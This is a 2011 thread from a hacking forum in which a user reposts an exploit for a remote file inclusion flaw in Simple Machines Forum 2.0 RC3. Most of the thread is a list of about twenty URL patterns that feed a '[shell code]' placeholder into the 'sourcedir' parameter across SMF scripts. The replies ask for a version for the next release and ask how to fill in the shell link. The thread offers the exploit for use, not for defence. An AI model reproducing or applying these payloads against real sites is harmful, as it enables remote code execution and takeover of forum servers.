+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Website & Server Hacking (https://sinister.li/Forum-Website-Server-Hacking)
+--- Thread: SMF 2.0 RC3 Exploit (/Thread-SMF-2-0-RC3-Exploit)
SMF 2.0 RC3 Exploit - lokeshramesh - 06-10-2011
SMF (Simple Machines Forum) 2.0 RC3 Exploit Code:
Its an Exploit I've found on net may be useful for someone so I'm pasting here i don't take any credit for this:
=====================================================
SMF Version 2.0 RC3 Remote File Include Vulnerability
=====================================================
######################################################################
#
# SMF Version 2.0 RC3 Remote File Include !
#
# Author : D.0.M TEAM
#
# Founded By : S3Ri0uS !
#
######################################################################
#
# Exploit :
#
# http://www.site.com/path/index.php?sourcedir=[shell code]
#
# http://www.site.com/path/SSI.php?sourcedir=[shell code]
#
# http://www.site.com/path/subscriptions.php?sourcedir=[shell code]
#
# http://www.site.com/path/Sources/Admin.php?sourcedir=[shell code]
#
# http://www.site.com/path/Sources/BoardIndex.php?sourcedir=[shell code]
#
# http://www.site.com/path/Sources/Calendar.php?sourcedir=[shell code]
#
# http://www.site.com/path/Sources/Display.php?sourcedir=[shell code]
#
# http://www.site.com/path/Sources/Errors.php?sourcedir=[shell code]
#
# http://www.site.com/path/Sources/Groups.php?sourcedir=[shell code]
#
# http://www.site.com/path/Sources/Help.php?sourcedir=[shell code]
#
# http://www.site.com/path/Sources/Load.php?sourcedir=[shell code]
#
# http://www.site.com/path/Sources/LockTopic.php?sourcedir=[shell code]
#
# http://www.site.com/path/Sources/LogInOut.php?sourcedir=[shell code]
#
# http://www.site.com/path/Sources/ManageAttachments.php?sourcedir=[shell code]
#
# http://www.site.com/path/Sources/ManageBans.php?sourcedir=[shell code]
#
# http://www.site.com/path/Sources/ManageBoards.php?sourcedir=[shell code]
#
# http://www.site.com/path/Sources/ManageMembergroups.php?sourcedir=[shell code]
#
# http://www.site.com/path/Sources/ManageServer.php?sourcedir=[shell code]
#
# http://www.site.com/path/Sources/Xml.php?sourcedir=[shell code]
#
# http://www.site.com/path/Sources/Themes.php?sourcedir=[shell code]
#
######################################################################
Credit goes to original founder.
RE: SMF 2.0 RC3 Exploit - albay - 06-11-2011
thanks for share.
this is very good job.
do you have one for RC4 ?
RE: SMF 2.0 RC3 Exploit - m4$k - 09-17-2011
can someone explain abit about more.. what should i put in the [shell code] ?? it is shell link ??
i want to test on my own forum.. smf ..? hope someone will help me thanks
RE: SMF 2.0 RC3 Exploit - narc0tics - 09-17-2011
I bet you found this at exploit-db or 1337day.
Thanks for sharing.